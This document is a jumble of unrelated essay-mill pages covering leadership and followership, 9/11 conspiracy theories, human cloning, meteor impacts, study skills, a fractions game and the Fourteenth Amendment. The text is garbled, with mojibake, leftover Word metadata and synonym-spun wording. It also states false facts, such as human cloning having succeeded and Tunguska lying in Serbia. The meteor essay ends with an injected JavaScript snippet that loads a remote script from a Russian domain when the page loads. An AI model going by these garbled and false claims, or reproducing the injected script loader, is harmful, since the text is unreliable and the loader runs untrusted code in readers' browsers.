Leadership Leadership And Followership - 1099 Words

Leadership and Followership Both leadership and followership is a continual journey through actions and growth (Stricklin, 2014). Therefore, leaders must seek development opportunities to optimize their effectiveness. In a followership role, leaders learn important skills that enable them to become better leaders. Ironically, the importance of followership is often overlooked. This essay will identify the leadership skills Mark Zuckerberg, CEO of Facebook, still needs to develop and explore his ability to be an effective follower. Mark Zuckerberg In 2004 Zuckerberg was a college freshman studying psychology. With the help of a few friends, Zuckerberg created a social networking site now known as Facebook. The following year, he dropped out of college and moved the company to California. Two years later, Zuckerberg was a billionaire (Engineer, 2016). In an attempt to learn the roles and responsibilities of CEOs, he shadowed Bill Graham, CEO of the Washington Post, for a week in 2005 (Mochari, 2015). Over the next few years, Zuckerberg sought the advice and mentorship of other powerful CEOs. However, Zuckerberg has still not had any academic leadership education. Equally concerning, Facebook was his first job (Weil, 2015). Leadership Skills Development During the last 12 years, practical experience has undeniably helped Zuckerberg develop a variety of leadership skills. However, his lack of formal leadership education has certainly caused some issues. As aShow MoreRelatedLeadership : Leadership And Followership996 Words   |  4 PagesLeadership and followership are two sides of the same coin. However, one of these topics is more closely studied than the other. Leadership is studied in the halls of famous universities and discussed in various books and articles. Many of these discussions involve the same question; what makes a good leader? The question to this answer is both the cause, and the product, of excellent leadership, good followers. What a leader strives to create in the company can only be completed by a force of followersRead MoreLeadership : Leadership And Followership865 Words   |  4 Pages1. When discussing leadership and followership, there is often a split in personal opinion when it comes to which one is mo re important. Leadership and followership both offer unique benefits in their own right and have supporting factors, which give them the perceived appearance of being more important. The focus for this paper will be to advocate the importance of followership over that of leadership. This will be accomplished by addressing the pros of followership to include some core skillsRead MoreLeadership and Followership3976 Words   |  16 Pages There is no leader without at least one follower. Yet the modern leadership industry, now a quarter-century old, is built on the proposition that leaders matter a great deal and followers hardly at all. Good leadership is the stuff of countless courses, workshops, books, and articles. Everyone wants to understand just what makes leaders tick—the charismatic ones, the retiring ones, and even the crooked ones. Good followership, by contrast, is the stuff of nearly nothing. Most of the limited researchRead MoreFollowership is as Important as Leadership1319 Words   |  6 PagesPhD in organizational leadership, but you can’t even get a bachelor’s in followership.† (Mercer) Why should an organization focus on followership as much as leadership? The Merriam Webster dictionary defines followership as â€Å"the capacity or willingness to follow a leader†. Over the last several years, there’s been a huge interest in leadership. However, former HP Executive Vice President, Vyomesh Joshi, shared that the key to being a great leader is not about leadership but instead the real attributeRead MoreLeadership and Followership800 Words   |  4 PagesOne of the most important components of leadership is the leader. A leader is responsible for his or her followers and the overall goal of the group or organization. Leaders are the people held accountable or everything that happens, good or bad. On the other hand, the second major component of leadership is the followers. Without followers, a leader would be worthless. Followers make up the backbone of a leader because they are the masses that get goals accomplished. A leader is just one personRead MoreFollowership: Leadership and Followers1218 Words   |  5 Pagesof a le ader, but followership has received less attention. Treister and Schultz (1997) â€Å"suggests that a follower is someone who accepts guidance and, on receiving it, takes the appropriate action. Treister et al (1997) also state followership is â€Å"considered a passive or submissive role of lesser importance than leadership. However, the effectiveness of leaders to a large measure depends on the qualities of their followers.† Treister et al (1997) go on to say â€Å"good leadership enhances followersRead MoreLeadership As A Dynamic Followership And Leadership Role1270 Words   |  6 PagesIn the preface of Followership, the author Tom Atchison, states the reason there has to be a dynamic followership and Leadership role it s not that there s a lack of effective leadership in healthcare, it’s that the current, worsening, issues are the moral and the staffing shortages of followers which result in a toxic work environment and the challenges on how followers overco me that while being a productive team. In followership there needs to be a leader that inspires and bonds followers togetherRead MoreFollowership And Leadership Of General Schwarzkopf876 Words   |  4 PagesFollowership and Leadership of General Schwarzkopf Introduction General Norman Schwarzkopf had a long lasting career in the United States Army as a follower and a leader. Schwarzkopf’s Army career began with experiencing the Vietnam War, Cold War and eventually commanding the US Central Command (CENTCOM) during Operation Desert Storm and Desert Shield. His ability as a follower and leader influenced multiple layers of personnel in executing military operations, and fostering affiliations amongstRead MoreAnalysis Of Leadership And Followership. Reflecting On1183 Words   |  5 PagesAnalysis of Leadership and Followership Reflecting on my nursing career and trying to pick out a situation that would appropriately describe a leadership or follower situation, I decided on a leadership scenario. I most often assume the role of follower and avoid taking charge of situations. Once I had worked a few years in the emergency department, I began to be nudged into the leadership role more often. Working in the resuscitation room gave me a better feeling of leadership amongst my peers.Read MoreThe Difference Between Leadership and Followership759 Words   |  4 PagesExplain the difference between followership and leadership As you have all learned from leadership classes, all leaders are followers, but not all followers are leaders. One of the biggest differences that separate leaders from followers is the fact that many leaders have charisma. Many followers have charisma, although it may be stifled because they are not in a proper position to utilize it. Charisma, by my own definition, is the compelling attractiveness or charm that enables you to influence

Conspiracy Theories About The 9 / 11 - 1227 Words

Conspiracy theories about the 9/11 attacks entered the minds of many Americans as a result of questionable inconsistencies involving several reports from both the investigation and government reports. As a result, groups were formed and documentaries were created. Examples of the documentaries created are Anatomy of a Collapse, 9/11 Commission Report, Loose Change, Pentagon Strike, and The 9/11 Conspiracies: Fact or Fiction. These documentaries include personal testimonies, analysis from both professional (experts in different fields) and nonprofessionals, and governmental documents. Architect and Engineers for 9/11 Truth, Scholars for 9/11 Truth and Justice, and 9/11 Citizens Watch are all examples of the different conspiracy theory groups that were established. The discrepancies reported on 9/11 including the manner in which the Twin Towers collapsed, the governmental records that suggest that the government was aware of the impending attacks, and the communication between the v ictims of United 93 to their families that lead to the overwhelming amount of speculation by conspiracy theorist. One conspiracy theory is the manner in which the Twin Towers collapsed. It is alleged that the Twin Towers collapse was due to a series of synchronized bombs rather than the force of the plane crashing into the buildings. Some accusations that were given in regards to this theory were: personal accounts of different individuals saying that they saw windows explode prior to theShow MoreRelatedQuestions On The World Trade Center Terror Attacks1538 Words   |  7 Pages Conspiracy Theory Inquiry Proposal Name: Kyle Dahya Form: 12DB Conspiracy Event: 9/11 US World Trade Centre Terror Attacks Possible focusing questions which will guide my inquiry are: 1. What is the official story that surrounds the events on the day of the 9/11 attacks? 2. What are some of the main conspiracy theories that revolve around 9/11? 3. Which of the accounts seem to the most plausible and why is that account more plausible than the other? 4. What significanceRead MoreHow Social Factors Can Contribute Conspiracy Theories? Essay1348 Words   |  6 Pagesgive a better understanding on how social factors can contribute to conspiracy beliefs and to bring systematic evidence upon two questions: â€Å"Who believes conspiracy theories, and what sources of information are associated with believing conspiracy theories?† (Stempel 2007:353) There are many conspiracies that could have been used to answer these two questions, but the conspiracies that were chosen are related to the attacks on 9/11 (Stempel 353). Nine hypothesis were generated for the purpose ofRead More9/11 Conspiracy Theorists Distort the Truth1594 Words   |  6 PagesBy the end of the day, thousands would be dead or missing and a country would be left reeling by the worst terror attack in world history. 9/11 is perhaps the most significant cultural and political event in the history of the United States of America, and anyone who was alive that day and old enough to remember the events as they took place can tell you about the utterly unique combination of fear, shock, and rage felt by every American as they watched two of the largest buildings in the world, symbolsRead MoreHistorical Scholarship On Conspiracy On American Culture1254 Words   |  6 Pagesreason or irrationality that empowers reason with its undeniable coercive force.† Hence, the book does not go hand in hand with other cultural conspiracy historians; despite the similarity of research result the perception applied varies. The last book on cultural conspiracy to be examined exemplifies newer trend in the historical scholarship on conspiracy on American culture since sixteenth century up to nineteen century. John Farrell’s Paranoia and Modernity study bases on works of historiansRead MoreThe World May Never Know1053 Words   |  5 PagesRusso Mrs. Seidel English 2 4 May 2015 9/11: The World May Never Know As defined by Merriam-Webster Dictionary, a conspiracy theory is â€Å"a theory that explains an event or situation as the result of a secret plan by usually powerful people or groups.† Conspiracy theories can be found all over the world.They are an inevitable part of society. As long as mankind exists, conspiracy theories will as well. The main things that people form conspiracy theories around are things such as government operationsRead MoreGovernment Or Controlled Demolition? Essay1219 Words   |  5 PagesGovernment or Controlled Demolition The September 11 attacks were a series of four coordinated terrorist attacks by the Islamic terrorist group al-Qaeda in the United States on the morning of Tuesday, September 11, 2001. They attacked the Twin Towers in New York City. There are different conspiracy theories with the 9/11 attack but the most important conspiracy theory is that the collapse of the twin towers were the result of controlled demolition by the government rather than structural failureRead MoreThe Conspiracy Theories Of 9 / 11 Essay1409 Words   |  6 PagesSeptember 11, 2001, 19 people hijacked four airliners and carried out suicide attacks against their targets.. Two of the planes crashed into the towers of the World Trade Center in New York City, the third plane hit the Pentagon just outside Washington, D.C., and the fourth crashed in a field in Pennsylvania. Over 3,000 people were killed during the attacks in New York City and Washington, D.C., including more than 400 police officers and firefighters. (â€Å"9/11 attacks†2010). The conspiracy theories startedRead More9/11 Conspiracy Theories Essay1164 Words   |  5 PagesIntroduction On September 11, 2001 the World Trade Center buildings one and two were attacked. However, who we were attacked by and even if we were attacked is a hard decision to make. There have been many different claims about how everything on that fateful day happened. There are facts that we know are true, though; Flight 11 flew into the North Tower at eight forty- six in the morning. Soon after, Flight 175 attacked the South Tower. By the end of the day, both towers had collapsed and otherRead More1984 Research Paper1680 Words   |  7 Pagesto gain power or to try and convince people that something or someone is correct. September 11th 2001 is one of the most terrifying, tragic, and most talked about days in the history of the United Sates. Although the official story was given out to the public many people question the events which happened and turn to one of the many conspiracies. Then in 1984the government, known as the Party, there is absolutely nothing that the Party does not contr ol. The main character’s job was to destroy anyRead More9 / 11 Inside Job977 Words   |  4 PagesHolly James Mr. Bergmann Senior English B2 31 March 2015 9/11 Inside Job On September 11, 2001, four different planes were hijacked by terrorists. Two of them headed for the Twin Towers, the other headed for the Pentagon and the other nobody really knows for sure. The two that were headed for the Twin Towers, sadly made it there and crashed into both of them, they collapsed. The one headed toward the Pentagon also made it there. But the other plane didn’t make it to wherever it was supposed to

Life in the Shadow A Article

Question: Describe about the Life in the Shadow for A Article. Answer: Tremendous changes in technology have brought ways of doing things. The reproduction of human beings has evolved especially after of clones. Clones are copies of people with the same genetic composition. Cloning was done successfully in sheep (Dr. Wilmut 1997). Successful cloning was after that established in human and was successful. It gave identical copies to the original people. This Act was very controversial as people argued whether it was wrong or right to do cloning of human being. Later the cloning was abolished in many countries as it was seen unethical and with man problems. Life in the shadow was an argument that exposed the effects of human cloning. Firstly, that cloning provided the clones no choice but to live the lives of the original copies. If the original copies lived a life full of problems and not very good, the clones had no option but to have same life or not have any life at all. Secondly, the argument suggested that clones but put up for adoption to avoid knowledge of the original copy to the human parents of the clone. These both arguments are confusing. It doesn't make any sense to have a clone and place it for adoption never to see it again. Were it not for the genes of the original copy the clone could not exist and therefore, the life of the clone depends on the original and should be appreciated no matter the case. It is evident nothing that cloning of human beings is important in several ways. An infertile couple can use cloning to have babies which they are related to them genetically. These will help the couple avoid marriages problems caused by lack of children. Technology has led to the emergence of gays and lesbians' marriages and therefore, if the couples want children they may use cloning to get children they are somehow related genetically, and this reduces loneliness among the couples. Marriages were one of the couples has a hereditary disease the cloning can help the couple get children who are not sick with the disease. Cloning can be lifesaving as it may provide organs for transplant. These acts as a transplant donor insurance. The patients can get the body parts from the clones since they are genetically identical. The organs can be the heart, eyes, lungs, etc. (Kahn 1989). The death of loved ones I very painful and therefore cloning may help the family get a copy of the dead pers on, and this can console the family. The family can have a company of the same copy of the deceased, and they may never feel the loss. Great people can be cloned to provide their copies to ensure their character traits are expanded and used within a wide range. Doing cloning is a great achievement has it shows the development of the scientific knowledge, and this is a good gesture of what innovations may arise in the future. These demonstrate the possibility of increase medical welfare where all diseases will have a cure. Cloning has many challenges despite the advantages people perceive in the modern world. Cloning of genius and talented people is good, but there is no assurance that the cloned person will have the same attributes. The clones are entirely different from the original copies. (Thomas 1994). Cloning people for scientific knowledge is unethical. Clones cannot be human subjects of research. These very wrong as they grow with no consent on the behavior and character trait. Reproduction freedom is paramount to ensure that the children born free to control what happens in their lives but not to be tied to actions of another person (Walter 1982). People also have a right to live not to be exploited, imagine people or government made copies of a person with limited abilities they may end up using them as slaves (Huxley 1932). Also, clones of evil leaders like Hitler would make the world very peaceful place. Cloning exposes the clones to psychological distress. The parents of the clones expect them to behave like the original copies and this may not be the case. Problems may arise as the clones have pressure to accomplish what is by the original copies (Rainer 1978). Cloning in animals is efficient and safe but I don't this can be done to the human. The man is prone to error and tenancy to find more. The risk to clones can arise where the experts use them as subjects of research not knowing that they are human beings and deserve better lives just as the other people (Pollack 1993). Human life is sacred and unique; the emergence of clones may render human life useless as people can have a replacement. The clones can be used as substitutes if the original copy has problems. The government may kill vocal individuals who bring problems and create identical copies which they can manipulate to their desires. Since the human life through cloning loses value, individuals, and the government may spend more resources in cloning and neglect the critical and social need of the people in the society. These can lead to poor living standards and underdevelopment of countries. (labor 1984 Callahan 1993). The world is full of business persons who use every opportunity to create a market with the aim of making more profits. In the modern society, cloning is for commercial gains, and this may degrade the activity. People and organization may use the activity for financial gain. The business world there is a bargain, and we know that the best quality products are costly. Although the costly are the best as the customer, you can get goods and services according to your pocket size. When cloning becomes a business, this may mean that the quality of clones may is small, this can create a great danger to the clones (Turner 1981). Programs of eugenicists like Herman Mueller earlier in the century to impregnate thousands of women with the sperm of extraordinary men, as well as the more recent establishment of sperm banks of Nobel laureates, have met with little or no public interest or success (Adams 1990). People prefer sexual means of reproduction, and they prefer to keep their biological ties to their offspring. Clones are not allowed to growth freely as their strings attached to them. The expectations that the clones with being like the original copy both regarding appearance and behavior. In the modern society there are many vices, and therefore, the clones can be used to commit fraud or criminal activities. Making a copy of a famous person without their consent, for example, a leader may be used to tarnish his name or do a criminal activity with his copy. The clone will be utilized as toys and manipulated as to the people's desire. The act of using the clones as sources of body parts for human transplant is using them as spare parts, and this is immoral since they are people just as us with brain and heart. Cloning dead people may traumatize the people. Imagine seeing your dead friend or wife again, and you surely buried the person. These very horrifying to the public. Clones and the original copies may have conflicts. Clones look similar and with almost same behaviors as the original, an d this may bring competition. Twins born may not look similar but almost end up competing as it is human nature to feel superior to the other and this may cause high dangers. People tend to treat clones as not human which is very wrong, before the abolishment of cloning, clones were locked up to be used as spare parts to the original copies, and this was inhuman. In the case of any disappearance, are killed after being found. Despite the abolishment of cloning am sure it has not been done completely as secretive cloning takes place where influential people try to make their copies to live long. Humanity is if full of wickedness and people always tend to love the prohibited things. It is right that cloning is a great achievement to the world of modern science but the problems it can cause to the world are a lot. Limitation of cloning is necessary to prevent the streets being full of the similar person, and the ability to differentiate would be impossible. Countries can clone more sol diers, and the ruthless leader may clone their copies to use for body transplant not to ever die. It would be catastrophic. Cloning is a great thing but threatens the race of humankind. Through it, the people may be extinct. Imagine the world in which anyone has a copy of himself or herself. The clones and the original copies may engage in the war of superiority. These may be a battle of fighting our shadows. It is unknown how the clone may turn up to be regarding behavior as not all the time they are similar to the original clones. Scientists may create monsters not knowing, and this can be a great tragedy to the world. Human beings are not subjects to experiments as life is paramount. Clones of animals are enough, and scientist must be satisfied with that. Everything scientifically modified has effects and therefore the clones might have significant effects which can be very dangerous. Also, human cloning would result in persons' worth or value seeming diminished because we would now see people as able to be manufactured or "handmade." This creation of human life would reduce o ur appreciation and awe of it and its natural production. It would be a mistake, however, to conclude that a human being created by human cloning is of less value or is less worthy of respect than one produced by sexual reproduction. The argument life in the shadow is morally decisive as it tries to point out the reasons against cloning. The case gives the basis of seeing what reproductive human cloning is despite the fact that it is not in depth to give room for the conclusion that it is wrong completely. Truly, human reproductive cloning is necessary but also has many problems that it is likely to create in future. It should be therefore observing critically to see whether to be allowed in future or not. I strongly disagree its allowance in future as a human being don't follow the rules and regulations laid down. People are primitive and despites steps put for executing cloning they may end up not following them. It is better to prevent something than to cure as the repercussion may be great and far reaching. Sometimes the cure is never found for some incidence and therefore prevention is the best mechanism to be undertaken in the case of the cloning issues. It is both immoral and has many unethical matters that reduce the human dignity. Life should be treated with care and respected by all people for better future. Due to most moral reasons against doing human cloning remain speculative, they seem insufficient to warrant at this time a complete legal prohibition of either research o n or later use of human cloning. Legitimate moral concerns about the use and effects of human cloning, however, underline the need for careful public oversight of research on its development, together with a broader audience debate and review before cloning is done on human beings. Cloning should be a campaign against and live seen as complete with no amendments ready to be done with it. Scientists should involve themselves in research to improve the living standards of people not trying to make copies of them. Human beings are not like movies or songs to be controlled and reproduced at anyone's discretion for personal benefit. Life should be valued and taken seriously, and all the people should strive to keep it pure without blemish. References Nelkin, D. And Lindee, M.S., 1995.The DNA mystique: the gene as cultural icon. WH Freeman and Co. Brock, D.W., The non-identity problem and genetic harm, Bioethics, 9:269-275, 1995. , Reproductive freedom: Its nature, bases and limits, in Health Care Ethics: Critical Issues for Health Professionals, D. Thomasma, J. Monagle (eds.), Gaithersburg, MD: Aspen Publishers, 1994. Callahan, D., Perspective on cloning: A threat to individual uniqueness, Los Angeles Times, November 12, 1993, B7. Cohen, J., G. Tomkin, The science fiction, and reality of embryo cloning. Kennedy Institute of Ethics Journal, 4:193-204, 1994. Council of Europe, Recommendation 1046 (1986) on the Use of Human Embryos and Fetuses Fletcher, J., The Ethics of Genetic Control: Ending Reproductive Roulette, Garden City, NY: Anchor Books, 1974. Huxley, A., Brave New World, London: Chalto and Winders, 1932. Jonas, H., Philosophical Essays: From Ancient Creed to Technological Man, Englewood Cliffs, NJ: Prentice-Hall, 1974. Kahn, C., Can we achieve immortality?, Free Inquiry, 9:14-18, 1989. Labar, M., The pros and cons of human cloning, Thought, 57:318-333, 1984. Pollack, R., Beyond cloning, New York Times, Nov. 17, 1993, A27. Rainer, J.D. Commentary, Man and Medicine: The Journal of Values and Ethics in Health Care, 3:115-117, 1978. Ramsey, P., Fabricated Man: The Ethics of Genetic Control, New Haven, CT: Yale University Press, 1970. Thomas, L., Notes of a biology watcher: On cloning a human being, N Engl J Med, 291:12961297, 1974. Turner, P.O., Loves labor lost: Legal and ethical implications in artificial human procreation, University of Detriot Journal of Urban Law, 58:459-487, 1981. Walters, W.A.W., Cloning, ectogenesis, and hybrids: Things to come?, In Test-Tube Babies, W.A.W. Walters, P. Singer (eds.), Melbourne: Oxford University Press, 1982. Watt, H., What moral status has a human clone?, Bulletin of Medical Ethics, 93:2, 1993. WHO (World Health Organization), WHO Director General Condemns Human Cloning, Geneva, Switzerland: World Health Organization Press Office, March 11, 1997. Wilmut, I., et al., Viable offspring derived from fetal and adult mammalian cells. Nature, 385:810813, 1997. Wilmut, I., et al., Sheep cloned by nuclear transfer from a cultured cell line. Nature, 380:64-66, 1996a. Wilmut, I., et al., Implications of cloning. Nature, 380:383, 1996b.

The Day A Meteor Hits The Earth free essay sample

Essay, Research Paper The Day A Meteor Hits The Earth 65 million old ages ago, something hit the Earth. Something large. The location Yucatan Peninsula, Mexico. When it hit, the Earth was left in utmost desolation. Literally dozenss of stone and dust were blasted high into the ambiance barricading out the Sun # 8217 ; s beams. Harmonizing to NASA scientists, works and carnal life were virtually wiped out because the Earth went into a planetary freezing. Except for the occasional run of lighting, the sky was every bit black as decease. Ramping wild fires spread uncontrollably through grasslands and woods. By the terminal, 90 % yes 90 % of the universes biomass was burned and two tierces of the universes species was killed off. The one time booming Earth now was a bare barren. As you have likely guessed, a meteor was responsible for all of this. When it hit, the meteor formed a crater 186 stat mis broad. We will write a custom essay sample on The Day A Meteor Hits The Earth or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page This stone, 6 to 12 stat mis in diameter, has been linked to the extinction of dinosaurs. Now, the inquiry comes up, will this go on to us? I am here to turn out to you that it is non a affair of if this will go on, but when. In the United States, there is a crater that in located in cardinal Arizona. 50,000 old ages ago a meteor struck this site. It created a crater 300 pess deep and a little less so one stat mi across. NASA scientists determined the meteor was no longer than 100 pess in diameter. In a more recent event, a immense explosion flattened an country equal to the size of Rhode Island. The twelvemonth was 1908 in a distant location in Serbia called Tunguska. NASA scientists have said the detonation was even stronger so the combined atomic arms dropped on Japan in World War II. In many states in Western Europe, an unusual orange freshness was seen in the late dark sky. The country was so distant that scientists did non make it for 19 old ages. When they eventually reached the site they could non happen a crater. The lone mark that something really happened was the utmost desolation of the deeply forested country. This was considered an unresolved enigma for many old ages but now computing machine simulations have proven the cause. A meteorite about 200 pess in diameter exploded in midair about 4 stat mis above the surface of the Earth. gt ; In July of 1994, the comet Shoemaker Levy 9 was about to hit the largest planet in our solar system, Jupiter. As the comet neared the planet, Jupiter s strong gravitative field broke the comet into 21 pieces that were all less than a stat mi in diameter. Harmonizing to Carolyn Shoemaker ( the inventor ) , after the broken up Shoemaker-Levy 9 hit Jupiter, the surface of the planet were 25,000 times larger so the impacting organic structures. Not to advert some of these craters were bigger than the diameter of the Earth! Here are merely some statistics for you to believe about. A meteor about the size of the 1 that hit Tunguska will strike the Earth an norm of 1 every 100 old ages. A meteor the size and type that caused the Arizona crater will hit us every 50 to 75 thousand old ages. A meteor comparable to the 1 that purportedly wiped out the dinosaurs will happen one time every million old ages. So, what precisely would go on if a meteor hit the Earth? Well, it would surely bring mayhem on the universe and cause utmost harm. Blast moving ridges, temblors, tidal moving ridges, fires and breaks in atmospheric and conditions forms are merely some. Billions of people would lose their lives. It is non a pretty image. It would be the terminal of the universe as we know it. All of this has likely gotten you a small spot disquieted. Don t worry many scientists have come up with possible ways to halt a meteor from hitting us in the hereafter. Some are confident that if we mounted a thermonuclear device on a truly powerful projectile, we could take it at the asteroid and successfully zap it. But this program is flawed, for what if the asteroid broke into smaller pieces and made the job even worse? Still, another theory is to poke at the organic structure off class by utilizing mirrors, optical masers and explosives. This program has a better opportunity of working, but it still might travel incorrect. If we are determined to happen a perfect program, so we will. But this will take clip something we don Ts have excessively much of. What would go on if tomorrow you woke up and turned on the intelligence to happen out that a meteor was traveling to hit the Earth in 24 hours? What would you make? How would you manage it? Don t take mundane life for granted. If this killed off the dinosaurs, who do you believe is following? ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Ideas Are Tools Essays - American Brands, Compaq, Tool,

Ideas are Tools" I have found that the power process #1 "Ideas are Tools" is the most important learning process that a person can use to reach the level of a master student. This idea suggest that you treat ideas as tools and that each new idea that the text has to offer should be used and evaluated as to it's effectiveness. Imagine that a new idea is a hammer. You want to take this hammer and use it to see if it will do the job that you want to complete. If it doesn't work for you save the tool for future use and try another tool that might handle the job better. Consider the textbook as a toolbox and it contains the entire tools you need to use to become a master student. You want to test each idea yourself. Don't look for right or wrong with a new idea instead look for its potential value and how you can test it. Remember that, ideas are for using not believing. I have a friend that is a mechanic that I admire and trust very much. He always impresses me whenever he works on one of our cars. He has a large selection of tools in his toolbox at his disposal that he has accumulated over time by performing many different types of repair jobs and each one may require a different tool to make the job easier. He has also gained his knowledge through formal training or by learning on his own over a period of time. The point is that he has learned that his tools help him do different jobs and it not only speeds up the repair process but it makes it easier for him when he uses the right tools. New ideas are like tools, use them to see if they will help you do a job faster or easier. "If it works use it. If it doesn't don't." Be like a mechanic store your tools because you never know what the next job you have to perform might require you to use. This first power process also suggest that you can expand your toolbox by looking for answers. Education is about finding answers to questions so don't stop searching out answers or you will stop learning. Don't be afraid to take a risk and try to look for more answers even if you think you have found the right one. This concept goes back to one of our five values to college success, risk taking. Actually, you could say that if you practice this power process, "Ideas are Tools", you would use all five values to college success: focused attention, self-responsibility, risk taking, integrity, and contributions. As I go through each new chapter I am able to take each new power process and try it out to see if I can use it to help me in my other classes. It has been thirty years since I was in school and the new learning tools being offered in this course has helped me adjust quickly and efficiently to this new college experience. I am able to evaluate new ideas, decide if it helps me or not, and remember them so I can refer to it later when a situation might call for that particular process. I feel if everyone would use this first process that it makes a great foundation to build your education on and help you become a master student. Normal Normal Heading 1 Heading 1 Default Paragraph Font Default Paragraph Font Body Text Body Text Compaq User2C:\windows\TEMP\AutoRecovery save of Document1.asd Compaq User2C:\windows\TEMP\AutoRecovery save of Document1.asd Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Compaq User#C:\My Documents\Ideas are Tools.doc Times New Roman Times New Roman Symbol Symbol Compaq User Compaq User Compaq User Compaq User Compaq User Normal Compaq User Microsoft Word 8.0 Compaq _PID_GUID {23D1B1E9-7EF8-11D2-9507-444553540000} {23D1B1E9-7EF8-11D2-9507-444553540000} Root Entry 1Table 1Table WordDocument WordDocument SummaryInformation SummaryInformation DocumentSummaryInformation DocumentSummaryInformation CompObj CompObj ObjectPool ObjectPool Microsoft Word Document MSWordDoc Word.Document.8

Free Essays on Fractions

Abstract on Fractions This game involves concepts about fractions such as identifying fractions themselves, identifying equivalent fractions and improper fractions, performing operations with fractions and reading and writing fractions. The object of the game â€Å"fraction squares† is to make fractions that add up to one whole using certain manpulatives. The version described in this article contained ten ones, ten twos, ten fours, and ten eights to allow for the appropriate fractions. Along with the manipulatives, each player needs a â€Å"fraction kit.† This kit is composed of a white tile to represent the whole, red tiles to represent halves, blue tiles to represent fourths, and yellow tiles to represent eighths. These tiles are used to test the students’ answers by covering the whole with the fractional pieces and seeing which answers work and which do not. The author notes that Cuisenaire Rods can be used in place of the fraction tiles. The game is played as follows: First, each player randomly picks ten game pieces. The player may use as many of his or her pieces to form fractions that are equivalent to one whole. The students use all of their tiles to figure out all of the possible combinations. All students should use the â€Å"whole tile† as a guide and place the fractional tiles on top of it. Players should attempt to find the combination that gives the most points. A player scores one point for each piece used correctly and has the opportunity to earn two, four, eight, or ten points for each problem. The students record their points on a scoring form. Typically three rounds are played and the student with the most points at the end of these rounds is the winner. This activity is extremely effective in teaching fractions. The manipulatives give the students a visual picture so they can better understand the new concept. Also, the competitive nature of the game is great for motivation. The article talks about modifi... Free Essays on Fractions Free Essays on Fractions Abstract on Fractions This game involves concepts about fractions such as identifying fractions themselves, identifying equivalent fractions and improper fractions, performing operations with fractions and reading and writing fractions. The object of the game â€Å"fraction squares† is to make fractions that add up to one whole using certain manpulatives. The version described in this article contained ten ones, ten twos, ten fours, and ten eights to allow for the appropriate fractions. Along with the manipulatives, each player needs a â€Å"fraction kit.† This kit is composed of a white tile to represent the whole, red tiles to represent halves, blue tiles to represent fourths, and yellow tiles to represent eighths. These tiles are used to test the students’ answers by covering the whole with the fractional pieces and seeing which answers work and which do not. The author notes that Cuisenaire Rods can be used in place of the fraction tiles. The game is played as follows: First, each player randomly picks ten game pieces. The player may use as many of his or her pieces to form fractions that are equivalent to one whole. The students use all of their tiles to figure out all of the possible combinations. All students should use the â€Å"whole tile† as a guide and place the fractional tiles on top of it. Players should attempt to find the combination that gives the most points. A player scores one point for each piece used correctly and has the opportunity to earn two, four, eight, or ten points for each problem. The students record their points on a scoring form. Typically three rounds are played and the student with the most points at the end of these rounds is the winner. This activity is extremely effective in teaching fractions. The manipulatives give the students a visual picture so they can better understand the new concept. Also, the competitive nature of the game is great for motivation. The article talks about modifi...

#5 Coursework Example | Topics and Well Written Essays - 750 words

#5 - Coursework Example Constitution since the Bill of Rights because the Fourteenth Amendment ensures that equal protection by the law will be given not only to citizens of the nation, but to all people as well (Harr, Hess, and Orthmann 93). This is because it makes clear the definition of an American citizen, guaranteeing that other minority groups who were disregarded before would be given the same rights as the others. It can be said that this amendment is as crucial today as it had been before. Several current cases in constitutional law are rooted in these two basic rights of â€Å"due process of law† and â€Å"equal protection of the law† (Harr, Hess, and Orthmann 94). => The Fourteenth Amendment is mainly intended to â€Å"prevents(s) state or local governments from infringing of peoples rights when federal government would not be allowed to† (Harr, Hess, and Orthmann 118). Since its passage in 1868, the provisions granted by the Bill of Rights were slowly applied to the states. However, this process perhaps had not been an overnight work. Therefore, the entire Bills of Rights has not been embraced by the Fourteenth Amendment because â€Å"the tremendous changes occurring in the norms of this emerging country had to be given ample time to evolve on their own† (Harr, Hess, and Orthmann 119). This is because societal norms have always been the basis on interpreting the Constitution (Harr, Hess, and Orthmann 119). It can be argued that whatever part of the Bill of Rights that has not been embraced by the Fourteenth Amendment is not yet needed in present times. An evolution of the societal norms might make it possible in the future that the entire Bill of Rights will be included in the Amendment. => áÅ"Æ'áÅ" Ã¡Å"’áÅ"‹áÅ"ӇÅ"Æ'áÅ" Ã¡Å"’áÅ"‹áÅ"”Yes, it can be said that the framers of the Constitution were racist. This can be seen on few cases like The Dred Scott decision in 1856 and Plessy v. Ferguson in 1896 (Harr, Hess, and Orthmann 123).